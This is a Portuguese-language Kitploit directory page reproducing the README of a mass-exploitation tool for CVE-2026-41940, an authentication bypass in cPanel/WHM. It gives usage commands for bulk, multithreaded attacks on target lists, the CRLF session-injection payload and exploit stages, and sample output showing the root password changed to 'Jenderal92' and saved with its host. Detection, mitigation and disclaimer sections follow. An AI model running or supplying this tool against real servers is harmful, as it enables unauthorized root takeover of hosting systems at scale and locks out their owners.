Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41940 — Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution. | Kitploit
Ferramentas/GitHubGitHub/jenderal92/cve-2026-41940
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlAuthenticationRed TeamingPayload Development
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution.

44há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2026-41940 - Exploração em Massa de Bypass de Autenticação WHM/cPanel

43153

📋 Descrição

CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no WHM/cPanel que permite a atacantes contornar a autenticação e obter acesso root a um servidor sem credenciais válidas. A vulnerabilidade explora injeção CRLF no mecanismo de gerenciamento de sessão para injetar parâmetros maliciosos de sessão.

Esta ferramenta fornece capacidades de exploração em massa com suporte a múltiplas threads para testar vários alvos simultaneamente, apresentando deteção inteligente de sucesso e filtragem automática de alvos inválidos.


🎯 Principais Funcionalidades

FuncionalidadeDescrição
✅ Exploração em MassaEscanear e explorar múltiplos alvos a partir de um arquivo de lista
🚀 MultithreadingNúmero configurável de threads para varredura mais rápida (padrão: 15)
🔐 Alteração Automática de SenhaAltera a senha root para Jenderal92 em caso de exploração bem-sucedida
🛡️ Deteção Inteligente de SucessoDetecta automaticamente vários formatos de resposta da API WHM
⚠️ Filtragem de Erro de LicençaExclui alvos com erros de licença inválida/não pode ler licença
📝 Saída EstruturadaSalva apenas sucessos confirmados no formato `domínio:porta
🛡️ Suporte SSL/TLSLida automaticamente com certificados autoassinados
🔄 Gerenciamento de SessãoExtração automática de sessão, injeção de cookies e manipulação de tokens
⏱️ Controle de TimeoutTimeout de conexão configurável (padrão: 15 segundos)
🔍 Verificação Pré-ConexãoVerifica disponibilidade da porta antes da tentativa de exploração
📊 Progresso em Tempo RealMostra progresso detalhado para cada etapa da exploração

📦 Requisitos

  • Python 2.7 (obrigatório - NÃO compatível com Python 3.x)
  • Conexão com a internet para acesso aos alvos
  • Pacotes Python necessários:
root@kitploit:~
pip install requests urllib3 futures

Ou use requirements.txt:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Instalação

root@kitploit:~
# Clonar repositório
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Instalar dependências
pip install -r requirements.txt

# Tornar executável (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Uso

1. Preparar Arquivo de Alvos

Crie um arquivo targets.txt com um alvo por linha:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Nota: A porta 2087 é a porta padrão do WHM. Se não for especificada, usará automaticamente a porta 2087. O prefixo HTTP/HTTPS será adicionado automaticamente se estiver faltando.

2. Executar o Exploit

Uso Básico (Configurações Padrão)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Uso com Multithreading

root@kitploit:~
# Usar 5 threads simultâneas
python2 CVE-2026-41940.py targets.txt --threads 5

# Usar 20 threads para varredura mais rápida
python2 CVE-2026-41940.py targets.txt --threads 20

Hostname Personalizado

root@kitploit:~
# Substituir cabeçalho Host para todos os alvos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Timeout Personalizado

root@kitploit:~
# Definir timeout de 30 segundos para conexões lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Argumentos de Linha de Comando


📁 Formato de Saída

Arquivo de Resultados (res.txt)

Apenas exploits confirmados com sucesso são salvos. Alvos com erros de licença, falhas na alteração de senha ou problemas de conexão são automaticamente excluídos.

Formato:

root@kitploit:~
domínio:porta|root|Jenderal92

Exemplo de saída:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Cenários Excluídos

Os seguintes alvos NÃO serão salvos em res.txt:

  • Erros de licença (Cannot Read License File)
  • Falhas na alteração de senha
  • Timeouts ou recusas de conexão
  • Alvos corrigidos/sem WHM
  • Credenciais incorretas ou falhas de sessão

Saída no Console

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Como o Exploit Funciona

O exploit consiste em 4 estágios principais com verificação inteligente:

Estágio 1: Sessão de Pré-autenticação

root@kitploit:~
[1] minting a preauth session...
  • Envia uma solicitação POST para /login/?login_only=1 com credenciais inválidas
  • Recupera o cookie whostmgrsession da resposta do servidor
  • Extrai a base da sessão removendo a parte final ,<obhex>
  • Isso nos dá um formato de sessão válido para trabalhar

Estágio 2: Ataque de Injeção CRLF

root@kitploit:~
[2] sending the CRLF injection...
  • Envia uma solicitação GET com cabeçalho Authorization: Basic contendo payload malicioso
  • O payload Base64 decodifica em:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Os caracteres CRLF (\r\n) injetam parâmetros de sessão falsos
  • Isso engana o servidor fazendo-o acreditar que a autenticação foi bem-sucedida
  • O servidor responde com HTTP 307 e um cabeçalho Location contendo o cp_security_token

Estágio 3: Propagação da Sessão

root@kitploit:~
[3] firing do_token_denied to propagate...
  • Acessa o endpoint /scripts2/listaccts com o cookie manipulado
  • Aciona o mecanismo do_token_denied no WHM
  • Isso propaga os parâmetros de sessão injetados no cache de sessão do servidor
  • Resposta HTTP 401 com "Token denied" confirma a propagação bem-sucedida

Estágio 4: Verificação e Alteração de Senha

root@kitploit:~
[4] verifying we're WHM root...
  • Acessa /json-api/version para verificar acesso root
  • Chama a API /json-api/passwd para alterar a senha root para Jenderal92
  • Detecta inteligentemente o sucesso em vários formatos de resposta da API WHM:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (versões antigas)
    • {"result": [{"status": 1}]} (formato legado)
    • Mensagens de sucesso baseadas em texto

Filtragem Automática

A ferramenta exclui automaticamente:

  • Erros de licença: {"status": 0, "statusmsg": "Cannot Read License File"}
  • Falhas na alteração de senha: Quando a API retorna código de sucesso mas a senha não foi alterada
  • Problemas de conexão: Timeouts, conexões recusadas, hosts inalcançáveis

🛡️ Deteção e Mitigação

Indicadores de Comprometimento (IOCs)

Logs para Monitorar

root@kitploit:~
# Log de acesso WHM
/usr/local/cpanel/logs/access_log

# Log de erro cPanel  
/usr/local/cpanel/logs/error_log

# Log de autenticação
/var/log/secure

# Mensagens do sistema
/var/log/messages

Passos de Mitigação

  1. Atualize WHM/cPanel para a versão corrigida mais recente imediatamente

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Ative a Autenticação de Dois Fatores (2FA) para todas as contas, especialmente root

    root@kitploit:~
    WHM → Central de Segurança → Autenticação de Dois Fatores
    
  3. Restrinja o acesso WHM com lista de permissões de IP

    root@kitploit:~
    WHM → Central de Segurança → Controle de Acesso ao Host
    
  4. Monitore logs de acesso regularmente para padrões suspeitos

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Altere todas as senhas se houver suspeita de comprometimento

  6. Use regras de firewall para restringir acesso à porta 2087

    root@kitploit:~
    # Permitir apenas IPs confiáveis
    iptables -A INPUT -p tcp --dport 2087 -s SEU_IP_CONFIAVEL -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Ou use firewall CSF/LFD
    csf -a SEU_IP_CONFIAVEL
    
  7. Implemente regras WAF para detectar tentativas de injeção CRLF

  8. Auditorias de segurança regulares nas instalações WHM/cPanel


📝 Exemplos de Uso em Diferentes Cenários

Cenário 1: Teste de Alvo Único

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Cenário 2: Auditoria em Massa de Servidores

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Cenário 3: Rede Lenta/Longa Distância

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Cenário 4: Hostname Personalizado por Trás de Proxy/Load Balancer

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Cenário 5: Alvos com Portas Mistas

root@kitploit:~
# targets.txt pode conter vários formatos:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Todos serão normalizados automaticamente
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Solução de Problemas

Erro: "module 'urllib' has no attribute 'urlsplit'"

Problema: Usando Python 3 em vez de Python 2.7
Solução: Esta ferramenta requer especificamente Python 2.7.

root@kitploit:~
# Verificar versão do Python
python2 --version  # Deve mostrar Python 2.7.x

# Executar com python2 explicitamente
python2 CVE-2026-41940.py targets.txt

Erro: "Connection refused - target unreachable"

Problema: Alvo offline ou firewall bloqueando
Solução:

root@kitploit:~
# Testar manualmente
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Erro: "/login didn't issue a whostmgrsession cookie"

Problema: Alvo pode estar corrigido ou não executando WHM
Solução:

  • Verifique se o alvo está executando WHM/cPanel
  • Verifique se o alvo está acessível via navegador em https://target:2087
  • O alvo pode já ter o patch do CVE-2026-41940 aplicado

Desempenho Lento na Varredura

Solução: Ajuste o número de threads e timeout

root@kitploit:~
# Para muitos alvos com boa conectividade
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Para conexões não confiáveis
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Erros de Licença na Saída

Nota: Alvos mostrando Cannot Read License File são automaticamente excluídos de res.txt. Isso é comportamento esperado, pois alterações de senha não funcionarão em instalações WHM sem licença.


🔧 Configuração Avançada

Modificação de Payload Personalizado

Você pode modificar PAYLOAD_B64 para parâmetros de sessão personalizados:

root@kitploit:~
import base64

# Payload personalizado
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Senha Personalizada

Altere a senha na função do_passwd() (linha ~280):

root@kitploit:~
{"user": "root", "password": "SuaSenhaPersonalizada123"}

Ajustando a Deteção de Sucesso

A função do_passwd() pode ser modificada para detectar formatos de resposta WHM personalizados:

root@kitploit:~
# Adicionar padrão personalizado em do_passwd()
if 'sua_string_de_sucesso_personalizada' in (r.text or '').lower():
    return "success"

🤝 Contribuindo

Contribuições são bem-vindas! Por favor, siga estes passos:

  1. Faça um fork do repositório
  2. Crie um branch de funcionalidade (git checkout -b feature/SuaFuncionalidadeIncrivel)
  3. Faça commit das suas alterações (git commit -m 'Adicionar alguma funcionalidade incrível')
  4. Envie para o branch (git push origin feature/SuaFuncionalidadeIncrivel)
  5. Abra um Pull Request

Diretrizes de Desenvolvimento

  • Mantenha compatibilidade com Python 2.7
  • Teste com diferentes versões do WHM/cPanel
  • Adicione tratamento de erros adequado
  • Atualize a documentação para novas funcionalidades

⭐ Histórico de Estrelas

Se esta ferramenta for útil para sua pesquisa de segurança, por favor, dê uma ⭐ no GitHub!

Star History Chart


❗ FAQ

P: Esta ferramenta pode ser detectada?
R: Sim, esta ferramenta deixa rastros nos logs de acesso do WHM/cPanel. Use apenas com autorização adequada e para testes de segurança legítimos.

P: Quanto tempo leva a exploração?
R: Aproximadamente 5-15 segundos por alvo, dependendo da latência da rede e do tempo de resposta do servidor.

P: Requer acesso root prévio?
R: Não, este exploit funciona completamente de forma externa, sem qualquer autenticação.

P: Esta ferramenta funciona no Windows?
R: Sim, desde que o Python 2.7 esteja devidamente instalado e configurado.

P: Meu alvo usa uma porta diferente, o que devo fazer?
R: Especifique a porta na URL do alvo: https://target.com:2083 para cPanel ou qualquer porta personalizada.

P: Por que alguns alvos não são salvos em res.txt mesmo com o exploit funcionando?
R: A ferramenta salva apenas alvos onde a senha foi alterada com sucesso. Alvos com erros de licença, falhas na alteração de senha ou outros problemas são excluídos mesmo que o bypass de autenticação tenha sido bem-sucedido.

P: Quais versões do WHM/cPanel são vulneráveis?
R: Versões anteriores ao patch do CVE-2026-41940. Verifique o changelog do cPanel para a versão corrigida.


📌 Notas Importantes

  • ✅ Esta ferramenta altera a senha root para Jenderal92 em caso de exploração bem-sucedida
  • 📡 A porta padrão do WHM é 2087 (usada automaticamente se não especificada)
  • 🔒 A verificação de certificado SSL está desabilitada para suportar certificados autoassinados
  • 💾 Apenas sucessos confirmados (senha alterada) são salvos em res.txt
  • ⚠️ Erros de licença e falhas na alteração de senha são automaticamente filtrados
  • 🔄 Cada execução cria um arquivo res.txt novo (resultados antigos são deletados)
  • 🌐 O prefixo HTTP/HTTPS é adicionado automaticamente se estiver faltando nos alvos
  • 🧵 O número padrão de threads é 15, ajustável conforme as capacidades do sistema

Criado para fins educacionais de pesquisa em segurança
Use com responsabilidade, mantenha-se legal, mantenha-se ético


⚠️ AVISO LEGAL

⚠️ AVISO CRÍTICO!

Esta ferramenta foi criada exclusivamente para:

  • ✅ Fins educacionais e pesquisa em segurança
  • ✅ Testes de penetração autorizados
  • ✅ Avaliações de segurança em sistemas que você possui
  • ✅ Verificação de vulnerabilidade com permissão por escrito

Usos ESTRITAMENTE PROIBIDOS:

  • ❌ Acessar sistemas sem autorização explícita
  • ❌ Qualquer forma de atividades ilegais
  • ❌ Ações maliciosas ou causar danos a sistemas
  • ❌ Acesso não autorizado a qualquer sistema de computador
  • ❌ Violar quaisquer leis locais, estaduais ou federais

O(s) autor(es) NÃO assumem nenhuma responsabilidade ou obrigação por qualquer uso indevido, dano ou consequência resultante do uso desta ferramenta. Ao usar esta ferramenta, você concorda em usá-la apenas em sistemas que você possui ou para os quais possui autorização explícita por escrito para testar.

Se você prosseguir, reconhece que:

  1. Você tem autorização para testar os sistemas alvo
  2. Você entende as implicações legais de acesso não autorizado
  3. Você cumprirá todas as leis e regulamentos aplicáveis
  4. O(s) autor(es) não são responsáveis por suas ações

Mais Avisos Legais: Você pode ver o aviso na capa do Jenderal92. Verifique AQUI !!!

Baixar ferramenta
ArgumentoDescriçãoPadrãoObrigatório
list_fileArquivo contendo lista de alvos (um por linha)-✅ Sim
--threadsNúmero de threads simultâneas15❌ Não
--hostnameSubstituir cabeçalho Host para todos os alvosAuto-descobrir❌ Não
--timeoutTimeout de conexão em segundos15❌ Não
IndicadorDescrição
Cookie whostmgrsession anômaloPadrões incomuns de cookie sem autenticação adequada
Caracteres CRLF em cabeçalhosDeteção de sequências \r\n em cabeçalhos HTTP
Acesso a /scripts2/listacctsAcesso não autorizado a este caminho
Senha Jenderal92Login bem-sucedido usando esta senha específica
Vazamento de token cpsessToken de segurança visível no cabeçalho Location
Login falho seguido de sucessoPOST para /login/?login_only=1 com senha errada, depois acesso privilegiado